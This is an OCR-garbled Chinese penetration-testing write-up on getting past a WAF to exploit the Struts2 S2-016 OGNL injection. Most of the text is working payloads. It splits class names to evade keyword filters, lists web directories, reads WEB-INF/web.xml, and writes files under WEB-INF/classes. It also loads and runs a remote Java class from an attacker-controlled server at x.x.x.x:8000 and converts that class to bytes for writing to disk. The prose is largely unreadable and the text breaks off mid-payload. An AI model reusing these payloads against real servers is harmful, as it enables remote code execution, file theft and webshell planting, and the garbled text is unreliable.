struts2 %%1d waf 1IZE5E X NBEXANAITH

Z BRI 1R Struts2, #2 016, B, RNEIBEEIE, SXMIABIRT —TEFE, BT waf NEFE, BERANE
*Uﬁﬁ, FQ;;:;;TE)\IL;\%T_—F, LE%%E@l&%—Fo

Ox01 ms,a

xray B¢& Struts2 R el AAZIMILTFTE Struts2 jF)E

INSPECTOR

Sele: 1 (25)
SELECTED TEXT

edirect®3a%24%7b11+11%7d

DECODED FROM: URL encoding

redirect:${11+11}

redirect¥3a%24%7b11+11%7d

1E%?ﬂ?fﬁ%%ﬁf)ﬂu§}§ Connection Reset , ?EHHE%%& waf }é@?

0x02 #x3% waf



—f—fﬂﬂﬂl&%;&%@?, ENEHEWXBFE=T" Runtime . dispatcher., getRealPath

T, PATRL—RREAXT, E8TXTXEF, MTHIEEREREN

® Runtime ?E%\\/m\, Ap
aispaccher HERMEE, BT EHLUERIEIEN Struts? MR SRR T

o getRealPath ?E%/EE\, ﬁﬂﬁiﬁ%@

0x03 &t &I

BREIR— TR, 5T waf XEFRIRIR FHTIE. XM, 2 webshell 5&ith; sUEEHZRMNTHS, W CS £&4F,

* dispatcher 5tld, FIDAEEPHEHRITSY, #BoRBUT:

#req=#context.get('co'+'m.open’'+"symphony.xwo '+ 'rk2.disp '+ 'atcher.HttpSer '+ 'vietReq '+ 'uest')
- [ L
- IE, BEXHGE

0x001 3XEX web B®

%%géﬁ,ﬁ getRealPath 9&%@?, E_I-L\/MEFH req.getClass().getResource("/").getPath() ﬁ??é%ﬂ, payload ZIEI"F

redirect:${#reg=#context.get('co'+'m.open’+"'symphony.xwo'+'rk2.disp"'+"'atcher.HttpSer'+'vletReq'+"uest'),#resp=#con
text.get('co'+"'m.open'+"'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('U
TF-8'"),#ot=#resp.getWriter ),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getClass().getResource("/").getPa

th(Q)),#ot.flush(Q),#ot.close()}



INSPECTOR
Query Parameters (0)
k.-action HTTP/1.8
r - o |
Request Heade

Response Head:

?Qonly security

0x002 EE B FRIXHFHFIBEH 3
EEVHAIBE RZNE—TXER, payload 81T

redirect:http://waww.baidu.com${#req=#context.get('co'+"m.open'+"'symphony.xwo'+'rk2.disp"'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+"'ponse'),#resp.se

tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#ot.print('web"'),#ot.print('path:"),#ot.print(new java.io.File
(#req.getClass().getResource("/").getPath()).1list(Q[1]),#ot.flush(),#ot.close()}



INSPECTOR

SELECTED TEXT

redirect®s3ahttp%3a%2 f%2 fwww. baidu. com%24%7b%23req%3ds
23context.get('co'%2b'm.open'%2b"'symphony.xwo'%2b' rk2
Ldisp'%2b'atcher.HttpSer '%2b'vietReq '%2b ' uest' )%2c%23
respk3ds23context.get('co'%2b'm.open'%2b' symphony . xwo
'%2b'rk2.disp'%2b'atcher.Httpser'%2b'vietRes '%2b ' pons
e')%2c%23resp. setCharacterEncoding( 'UTF-8' )%2c%230t%3
d%23resp.getWriters20()%2c%23ot.print( 'web' )%2c%230t.
print('path%3a’')%2c%230t.print{newk2@java.io.File(%23
req.getClass().getResource(%22%27%22) .getPath()). list
()%5b1%5d ) %2c%230t. flush()%2c%230t. close()%7d

» QR only seciirity

XEBTHRKBHITRNFAR ognl BIES, FIAEIRZE index RINTHF, payload 21F:

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes' '+ 'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#ot.print('web"'),#ot.print('path:"'),#ot.print(new java.io.File
(#req.getClass().getResource("/").getPath()).1list(Q[1]),#ot.print('\n"),#ot.print(new java.io.File(#req.get(Class
() .getResource("/").getPath()).1ist(Q[2]),#ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("
/") .getPath()).1list(Q[3]),#ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).1
ist(Q[4]),#ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[5]),#ot.pr
int('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list(Q[6]),#ot.print('\n'),#ot.pr
int(new java.io.File(#req.getClass().getResource("/").getPath()).list(O[7]),#ot.flush(),#ot.close()}



INSPECTOR

POST = b
r-Averl:
t
ept:

SELECTED TEXT

redirect®3ahttp%3a%2 %2 fuww.baidu. com%24%7b%23req%3d
%23context.get('co'%2b'm.open'%2b " symphony.xwo'%2b'r
k2.disp %2b"atcher.HttpSer '%2b'vletReq '%2b ' uest"’ }%2c
23resp%3d%23context.get('co'%2b'm. open'%2b' symphony
.¥xwo'%2b'rk2.disp'%2b'atcher.HttpSer'%2b'vietRes ' '%2b
'ponse’ )%2c%23resp.setCharacterEncoding( 'UTF-8")%2c%
230t%3d%23resp.getWriters2e()%2c%230t.print( ‘web" ) %2
%230t,print('path%3a’)%2c%230t. print(news2@java. io. DECODED FROM: URL encodinc
File(%23req.getClass().getResource(%22%2f%22).getPat
h{)).list({)%5b1%5d)%2c%230t.print( '%5cn ' )%2c%230t.pr redirect:htt
int(new%2@java.io.File(%23reqg.getClass(). t.g
(%22%27%22) .getPath()). list()%5b2%5d)%2c
%5cn’' )%2c%23o0t. print{news2@java.io.File(
lass().getResource(%22%2f%22).getPath()).list()%
5d)%2c%230t. print( '%5cn’' )%2c%23o0t.print (newk2@java.i
o0.File(%23req.getClass().getResource(%22%2 2).getP
ath()), list()%5b4%5d)%2c%230t,. print{ '%5cn' )%2c%230t.
print{news28java.io.File(%23req.getClass().getResour
cel(%22%2f%22) .getPath() ). list()%5b5%5d)%2c%230t. prin
t(*%5cn* )%2c%230t.print(new%s2@java.io.File( req.ge
tClass().getResource(%22%2 ) .getPath()}.list(}%5b
6%5d)%2c%230t.print (" c int{newk20java
.do.File{%23req.getClas (%22%21%22) .ge DECODED FROM: LURL er
tPath()).list()%5b7%5d)%2c%230t. flush()%2c%230t.clos
el)%7d

FHBERIEXXMH
payload #1TF:

redirect:http://www.baidu.com${#req=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+"'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+"'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#ot.print('web"),#ot.print('path:"),#ot.print(new java.io.File

FU__ _ 2/ /N rnos JUN O Rm /NN T AN TATIN U L /YN YN Uy v/ .t r*7 _ru_ . __ar/o_



(#req.getLLass().getkesource /../ J).getratn()).L1ST()|LL1]),#OT.print( \n ),#OT.print(new javd.lo.rlLe(#req.getuLas
s().getResource("/../").getPath()).1list(Q[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResour
ce("/../").getPath()).1ist(Q[3]),#ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/../").ge
tPath()).1ist()[4]),#ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list
O[5, #ot.print('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).1list()[6]),#ot.pr

int('\n"),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).1ist(QQ[7]),#ot.print('\n'),#o
t.print(new java.io.File(#req.getClass().getResource("/../").getPath()).1ist(Q[6]),#ot.print('\n"),#ot.print(new j
ava.io.File(#req.getClass().getResource("/../").getPath()).1ist()[8]),#ot.flush(),#ot.close(D}

INSPECTOR

action HTTP/1.8

SELECTED TEXT

atcher. H‘t(pSer
3context.get('co’s

letRes "%2

TF-8' J%u,'kﬂct!\adklhesp qtterterL'm 5
t('web')%2c%230t.print('pathx3a
2@java.io. Fl1P["&23rEIJ qetLl.:ss

2 getPathF
c%230t.pr
tResource

DECODED FROM: UR

tClassi
()%5b8%

O

0x003 EEMEEX 4, EEAR —ERHIEN

payloaddlF:



redirect:http://www.baidu.com${#req=#context.get('co'+"'m.open'+"'symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open’+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb0@=new java.io.BufferedReader(new java.io.FileReader("/usr/lo
cal/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/web.xml")),#ot.print(#bb0.readlLine()),#ot.print(#bb0.readLine()),#o

t.print(#bb0.readLine()),#ot.print(#bb@.readlLine()),#ot.print(#bb0.readlLine()),#ot.print(#bb@.readlLine()),#ot.prin
t(#bb0.readlLine()),#ot.print(#bb0.readlLine()),#ot.print(#bb@.readlLine()),#ot.print(#bb0.readLine()),#ot.print(#bb
@.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb@.readLine()),#ot.print(#bb0.readlLine()),#ot.print(#bb0.read
Line()),#ot.print(#bb0.readLine()),#ot.print(#bb0@.readlLine()),#ot.print(#bb@.readlLine()),#ot.print(#bb@.readlLine
O),#ot.print(#bb0.readlLine()),#ot.print(#bb0.readlLine()),#ot.print(#bb0.readlLine()),#ot.print(#bb0.readlLine()),#o
t.flush(),#ot.close()}

INSPECTOR

DECODED FROM: LR

nt-Length

redirect®%3ahttp%3a%2f%2 fwww.baildu. com%24%7b%2
3regk3di23context.get(

ngl 'UTF-8')%2c%230 . @ e XM /WEB=INF
()%2c%23bbB%3dnewks20j -
ava. io.BufferedReader(newk2@java.io.FileReade
ri%22%2fusrs2flocals2fapache-tomcat-7.8.57%21
webapps%2 FRO0T%2 FWEB—INF%2 fweb., xm1%22 ) )%2c%23
ot.print{%23bb@. readLine() }%2c%23ot. print (%23
bb@. readLine() )%2c%230t.print (%23bb@. readLine
())%2c%230t.print (%23bb@. readLine() )%2c%230t.
print(%23bb@.readLine())%2c%230t.print (%23bbe
.readLine(}) s230t.print(%23bb@.readLine())
%s2c%23ot.print(%23bb@. readLine() )%2c%2 i
nt(%23bb@. readLine()
adLine())%2c%230t.print(%23bh
%230t.print (%23bbd. readLine() )%:
%23bb@.readLine() )%2c%230t.print (%23bb
ine(})%2c%230t.print(%23bb@. readLine()
ot.print{%23bb@. readLine() )%2c%23o0t, print(%23
bb@. readLine() )%2c%230t.print (%23bb@. readLine
() )%2c%230t. print(%23bb@. readLine() )%2c%230t.
print(%23bb@.readLine())%2c%230t.print(%23bbe
.readLine() )%2c%230t.print (%23bb@. readLine())
%2c%230t.print bb@. readLine() }%2c%230t. flu

sh()%2ck230t . close ( )57c DECOL?OI@ nly Security

BFERMERE. FRAthZEEBAMAMER T readrine BRI



0x004 EANEEX M, BEAR —ERXHEA
BIEX

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"'symphony.xwo'+'rk2.disp'+"'atcher.HttpSer'+"'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb@=new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/we
bapps/ROOT/WEB-INF/classes/message_ae.properties™),#ot.print(#bb@.getClass()),#ot.flush(),#ot.close()}

POST /u & m =wi.action HTTP/1.0 HTTP/1.1 200 OK

User-Agent: A 23] Server: che-

Host: . i Date: Thu, 17
+axt /htm Smana 3§ T, ) Connection:

Content-Type:
Content-Length

redirect%3ahttp%3a%2 %2 fwww.baidu.com%24%7b%23req®id zh_CN.properties
%23context.get('co'%2b'm.open’%2b'symphony.xwo'%2b'r "u.properties
k2.disp'%2b'atcher.HttpSer'%2b'vletReq'%2b'uest')%2c
%23resp%3d%23context.get('co'%2b'm.open'%2b'symphony jes_pt_BR.properties
xwo'%2b'rk2.disp'%2b'atcher.HttpSer'%2b'vietRes '%2b

'ponse' )%2c%23resp.setCharacterEncoding('UTF-8')%2c%
230t%3d%23resp.getWriters20()%2c%230t.print(‘web’)%2

c%230t.print('path%3a’')%2c%230t.print(new%s2@java.io.
File(%23req.getClass().getResource(%22%2f%22).getPat
h()).list()%5b1%5d)%2c%230t.print('%5cn')%2c%230t.pr
int(new%2@java.io.File(%23req.getClass().getResource

(%22%2f%22) .getPath()).list()%5b2%5d)%2c%230t.print|(
'%5cn')%2c%230t. print (new%20@0java.io.File(%23req.getC
lass().getResource(%22%2f%22).getPath()).list()%5b3%

5d)%2c%230t.print('%5cn’ )%2c%230t.print(new%s20java. i
0.File(%23req.getClass().getResource(%22%21%22).getP
ath()).list()%5b4%5d)%2c%230t.print('%5cn')%2c%230t.
print(new%20@java.io.File(%23reg.getClass().getResour

ce(%22%2f%22) .getPath()).list()%5b5%5d)%2c%230t.prin
t('%5cn')%2c%230t.print(news20java.io.File(%23req.ge
tClass().getResource(%22%2f%22).getPath()).list()%5b
6%5d)%2c%230t.print('%5cn')%2c%230t.print(news20java
.i0.File(%23req.getClass().getResource(%22%21%22).ge .
tPath()).1list()%5b7%5d)%2c%230t. flush()%2c%230t.clos ?o on [y secu r|ty
e()%7d




BIEESTHRLIN
)Eé;’éRﬁUET—/P message_aaa.properties SK{EF, EES{{’-‘H(/J\, payload ;ZD—F

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+"'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb0O=new java.io.File("/usr/local/apache-tomcat-7.0.57/webapps/
ROOT/WEB-INF/classes/messages_aaa.properties™),#ot.print(#bb@.length()),#ot.flush(),#ot.close()}

INSPECTOR

on HTTP/1.0@ . SELECTED TEXT

redirect%3ahttps3a%2 %2 fwww.baidu. coms24%7b%23reqs3d%
23context.get('co'%2b"'m.open'%2b'symphony.xwo'%2b' rk2

.disp'%2b'atcher.HttpSer'%2b'vietReq '%2b 'uest ' )%2c%23

resps3ds23context.get(’co'%2b'm.open’'%2b' symphony. xwo

"%2b'rk2.disp'%2b"atcher.HttpSer'%2b'vletRes '%2b'pons

e')%s2c%23resp.setCharacterEncoding( ' UTF-8" ) %2c%230t%3

d%23resp.getWriter%20()%2c%23bbd%3dnews20java.io.File

(%22%2fusr%2flocal%2fapache-tomcat-7.08.57%2fwebapps%2 v
fROOT%2 fWEB-INF%2fclassess2fmessages_aaa.propertiess2 ottt
2)%2c%230t. print(%23bbe. length() )%2c%230t. Flush()%2cy |

230t. close( )%7d :

RUARARCET X, BRRKBEEARS, FIAXXHR/NA 0, WXHEATHNEA, payload 2F:

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb0@=new java.io.BufferedWriter(new java.io.FileWriter("/usr/lo



cal/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties",true)),#bb0d.append("aaaa"),#bbd.flu
sh(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}

INSPECTOR

redirect®&3ahttph3a%2 f4%2 fwww.baidu. coms24%7b%23reqh3ds
23context.get(’co'%2b'm.open’%2b’ symphony.xwo'%2b" rk2
.disp'%2b'atcher.HttpSer's2b'vietReq ' %2b'uest’' J%2c%23
resp%3d%23context.get('co'%2b'm.open’%2b ' symphony. xwo
'%2b' rk2.disp'%2b'atcher.HttpSer '%2b"'vietRes'%2b'pons
e')%2ck23resp.setCharacterEncoding('UTF-8"}%2c%230t%3
d%23resp.getWriters20()%2c%23bb@%3dnews2@java. io.Buff
eredWriter(new%20java.io.FileWriter({%22%2fusr%2flocal
%2fapache-tomcat-7,0.57%2 fwebapps%2 fRO0OTS2 fWEB-INF%2 f
classes%2fmessages_aaa.properties%22%2ctrue) )%2c%23bb
0.append(%22aaaa%22)%2c%23bb@. flush()%2c%23bb0.close( *

)%2c%230t. print (%23bb0)%2c%230t. flush()%2c%s230t.close
()%7d

DECODED FROM:

EANTOAMFETHAS aaaa

BRXEEXMHRN



INSPECTOR

SELECTED TEXT

ahttp!

redirect%3ahttp%3a%2 f%2 fwww.baildu. coms24%7b%23 reqs3ds
23context.get{'co'%2b"'m.open'%2b'symphony. xwo '%2b" rk2

.disp'%2b'atcher.HttpSer'%2b'vietReq ' %2b 'uest " }%2c%23

resp%3d%23context.get('co'%2b"'m.open’%2b' symphony . xwo

'%2b'rk2.disp's2b'atcher.HttpSer '%2b" vietRes '%2b'pons

e')%2c%23resp.setCharacterEncoding( 'UTF-B")%2c%230t%3
d%23resp.getWriters20()%2c%23bb0%3dnews2@java.io.File

(%22%2fusr%s2flocals2fapache-tomcat-7.0.57%2 fwebappss2 DECODED FROM:
fROOT%2 fWEB-INF%2Zfclassess2fmessages_aaa.propertiess2

2)%2c%230t. print(%23bb@. length() )%2c%230t. flush()%2c% |

23ot.close()%7d =

NINER, XHEBEANKIN
4= NN s
- ITHR S5

0x001 BIZITF



XEHBREW TRAZGZIRITHRLHXEF, RIMERWT, waf ZBAVRIE, MEETEER dispatcher LT —HFH
&, JLFREFNRER, B2 TNSEEEEREZRTHIXTLE TREABUT:

P

// Filename: hello.javaimport java.lang.Runtime;import java.lang.Process;public class hello { public hello

O { try { String[] commands = { "ping", "test.xxx.dns.1433.eu.org" }; Process pc = R
untime.getRuntime().exec(commands); } catch (Exception e) { } } public static void main(String
[] args) { hello aa = new hello(); 13

(EdEEETRcY

$ javac hello.java

éﬁi%bjz class
0x002 ¥R ER M ET S

payload 1T

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+"'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+"'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb@=new java.net.URL[]J{new java.net.URL("http://x.x.x.x:8000/
")} ,#ccO=new java.net.URLClassLoader(#bb@),#cc@.loadClass("hello"),#cc@.newInstance(),#ot.print(#cc@.getClass()),#
ot.flush(),#ot.close()}

FEIRAY java XABAIT

URL[] a = new URL[J{new URL("http://x.x.x.x:8000/")};URLClassLoader b = new java.net.URLClassLoader(a);b.loadClass
("hello™).newInstance(Q);



INSPECTOR

SELECTED TEXT

Content

redirect%3ahttps3a%2 %2 fuww.baidu. coms24%7b%23 reqs3ds
23context.get('co'%2b'm. open'%2b ' symphony. xwo '%2b" rk2
.disp'%2b'atcher.HttpSer'%2b'vietReq '%2b 'uest ' )%2c%23
resph3dk23context.get( ' co’'%2b"'m.open'%2b ' symphony. xwo
"%2b'rk2.disp'%2b'atcher.HttpSer %2b'vletRes '%2b'pons

e')%2c%23resp.setCharacterEncoding('UTF-8")%2c%230t%3
d%23resp.getWriters20()%2c%23bbe%3dnews2Bjava.net . URL
W hefd%T7bnews20java.net. URL (%22ht tph3a%2 f%2f g, 0 _ |
B o "E3312345%27%22)%7d%2c%23cc0%3dnews2@jave =Jm . "
L%ssLoader (%23bb@)%2c%23ccl. loadClass (%22hellow22)%
2c%23cc@. newInstance()%2c%230t. print(%23cc@. getClass( °
))%2c%230t. flush()%2c%230t.close()%7d

REFAEAMHALMT, EE—HHEIR, BRI loadciass AIUERIER

-m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) .

- only security
N = W - - [27Mar/2022 14:58:46] "GET /hello.class HTTP/1.1" 200 -

BELFCNINELE T, EEBRARTARRTE, EF7HEIRKE—RITE

0x003 FXINANEEE K



BEXIBE| T —1 Struts2 016, ARRE ZRIAMEBZNAREET, FRTZFINAE, REMINT, KN payload Ul
T:

redirect:http://www.baidu.com${#reqg=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+"'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb@=new java.net.URL[J{new java.net.URL("http://x.x.x.x:8000/
")} ,#ccO=new java.net.URLClassLoader(#bb@),#ccl=#cc@.loadClass("hello™"),#ccl.getDeclaredMethods()[@].1invoke(#ccl.n
ewInstance()),#ot.print(),#ot.flush(),#ot.close()}

URL[] a = new URL[J{new URL("http://x.x.x.x:8000/")};URLClassLoader b = new java.net.URLClassLoader(a);b.loadClass
("hello3").getDeclaredMethods()[@].1invoke(b.loadClass("hello3").newInstance());

{EF getDeclaredMethods 5 invoke EEOIMAKRININE EEENITHSH

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..

i - only security
M = W - - [27/Mar/2022 14:58:46] "GET /hello.class HTTP/1.1" 200 -

@D 195 to refresh results.

# Record Hamm

Time
38 test.. » W =f.dns.1433.eu.0rg. de 8 31.57:20657 2022-4 ."_ bk B2
37 test.3" “dakef.dns.1433.eu.0rg. #1°1 Li7.61:59908 2022-\i = HET
36 test.! " o™ 2f.dns.1433.eu.0rg. B ee). §845:52834 . 2022 (b F l'l &
35 test.4* “alefdns.1433.eu.0rg. A1 Y.59:52209 u\ Orkd ofz S Al l- e/
34 test.3 " W af.dns.1433.eu.0rg. 1 LW 50:4488 - 2022-03-. " J47
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EERXET —=, URE—TTAENIMET, BEARTMMEEREENTGH LR, BETZRNBEAXY, BENER
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KEUADU, /OB file [PMIXZTUUENALIBRYTENGEIR, A EUINT I R K AYEHRY

—FFia28F base64 giY class XIF#HITE AN, (BERXEARIIENT24 Base64 BIZES|IAART, java.util.Base6d 7]

m PR

sun.misc.BASE64Decoder %BZ:??

INSPECTOR

DECODED FROM: URL

redirect®3ahttph3at2 f%2 fwww. baidu. comk24%7b%23 reqk3d%2iconte
xt.get('co'%2b 'm.open'%2b'symphony.xwo '%2b'rk2.disp'%2b'atch
er.HttpSer'%2b'vietReq'%2b'uest’ )%2c%23respk3ds23context.get
('co's2b'm.open’ 'symphony ., xwo '%2b* rk2.disp'%2b atcher. Htt
pSer'%2b'vletRes '%2b"ponse’ )%2c%23resp.setCharacterEncoding|(
'UTF-8" )%2c%230t%3d%23resp. getWriter( )%2c%23a%3d (news2@sun. m
isc, ADecoder.decode (%22MTExMO%3d%3d%22) )%2c%230t. print(
%23a)%2c%230t. flush()%2ck230t. close()%7d

DECQDED FROM:

W@ onl

'rk

DECODED FROM:

redirecth3ahttphs3ah2 %2 fwww.baidu. comb24%7b%23 reqs3d%23conte :
xt.get(’co'%s2b'm.open’%2b’ symphony. xwo'%2b° rk2.disp'%2b'atch
er.HttpSer'%2b'vietReq'%2b'vest’' }%2c%23resps3ds2icontext.get
('eo's2b"'m.open'%2b'symphony. xwo '%2b" disp'%2b'atcher.Htt
pSer'%2h'vietRes'%2b'ponse' )%2c%23resp. setCharacterEncoding(
'UTF-8" )%2c%230t%3d%23resp. getWriter(1%2c%23a%3d( java, util.B

4,getDecoder() }%2c%230t.print(%23a.getClass() )%2ck230t.f

lush()%2c%230t. close()%7d IH, r

curity”

XEITENTER, (BEXEE, %A payload AEHTHIR



[EE¥%ET — TR, base6d MRFIT, HEURA byter1 ZEAXY, BAZHMAIMEEILH? XEGAZAE

webshell EI\];'E, Bl new java.io.BufferedWriter(new java.io.FileWriter())

[ b
I

E%Zﬁ%hdhdwaYﬁ%ﬁigEW%§ﬁ§¢ﬂ%,ﬁﬁgﬂﬁﬁﬁhdm@mﬁ,Hﬁ%EMﬁﬁgﬁ,%gﬁ
—B, TXHRTEXDHF, HETHMBRFR)

I2EY hello.class BIX{4A bytel ]

public static void main(String[] args) throws IOException { byte[] data = getBytesByFile("hello.class"

s String total = ""; for (byte d:data) { total = total + d + ", "; } System.out.printl
nCtotal);}/ /G itiEipiBytefitApublic static byte[] getBytesByFile(String pathStr) { File file = new File(pathSt
r; try { FileInputStream fis = new FileInputStream(file); ByteArrayQutputStream bos = new ByteAr
rayOutputStream(1000); byte[] b = new byte[1000]; int n; while ((n = fis.read(b)) != -1

) { bos.write(b, @, n); } fis.close(); byte[] data = bos.toByteArray(); bo
s.close(); return data; } catch (Exception e) { e.printStackTrace(); ¥ return null;}



'Yy poc2jar & FIFTE v0.56 fong
RE | REpSHO

pocfRiF  expFlf taskistBMR HA®T WApythonlZE MEFASR MEBER KPS LEED
REHR SO#ER csLal BRmMMEHR | XHHD

[UsersffOm = I . . . " N G ST LRSS E T R, = its/helloclass

-

yvBEvVgAAADQAJIQoACGAWBWAXCAAYCAAZCgAaABsKABoOAHACAHQCAHgoACAAWBWATAQAGPGIUaX Q+AQADKCIWAQAEQZ29kZQEADOXpbmVOdWIIZXJUYWISZQEADVNOY
WNITWFwWVGFibGUHAB4HABOBAARLY WiuAQAWKFtMamF2YS9sYWSnLINOcmluZzspVgEACINVAXJjZUZpbGUBAApoZWxsby5qYXZhDAALAAWBABBGYXZhL2xhbmevU3RyaWsn
AQAEcGIuZWEAHXRIc3QuMzIkOTA4ZWYuZG5zLEOMZzMuZXUub3nBwAgDAAhRACIMACMAJAEAEZphdmEvbGFuZy9FeGNIcHRpb24BAAVOZ WxsbwEAEGphdmEvbGFuZySPYmplY
3QBABFqYXZhL 2xhbmevUnVudGitZ QEACmdIdF J1bnRpbWUBABUOKUxaYXZhL 2xhbmevUnVudGItZ TsBAARIEGVJAQAOKFtMamF2 YS9sYWSnLINOemluZzspT GphdmEvbGFUZySQe
mIZXNzOWARAAGACGAAAAAAAGABAASADAABAADAAABGAAQAAWAAAC AqtwABBLOAAIKDEGNTWQQSBFNMUAAFKZYABK2NAARMSQABAAQAGWARAACAAGAOAAAAGAGAAA

ABQAEAAQAEWAJABSADAAEAASAHWANAABAAAAQAALIABAAAQCAEAABBWARAAAJABIAEWABAADAAAAIAAIAAGAAAAMT AARZIWAJTLEAAAABAALAAAAKAAIAAAAQAAGAEQAB
ABQAAAACABU=

bytes

{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6 60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,10

0,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,1

18,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,11897,12,0,11,0,12,1,0,16,106,97 118,
97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,10

37,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,4

7,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,87,110,103,47,82,117,110,116,105,108,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97 118,97 47,108,97
1110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,1

03,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0 5,43,-74,0 6,77,
-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0 5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,
0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0, 21}

(- only securlty



payload #F:

redirect:http://www.baidu.com${#req=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes' '+ 'ponse'),#resp.se

tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb@=new java.io.BufferedWriter(new java.io.FileWriter("/xxxxx/
classes/hellotest.class",true)),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,
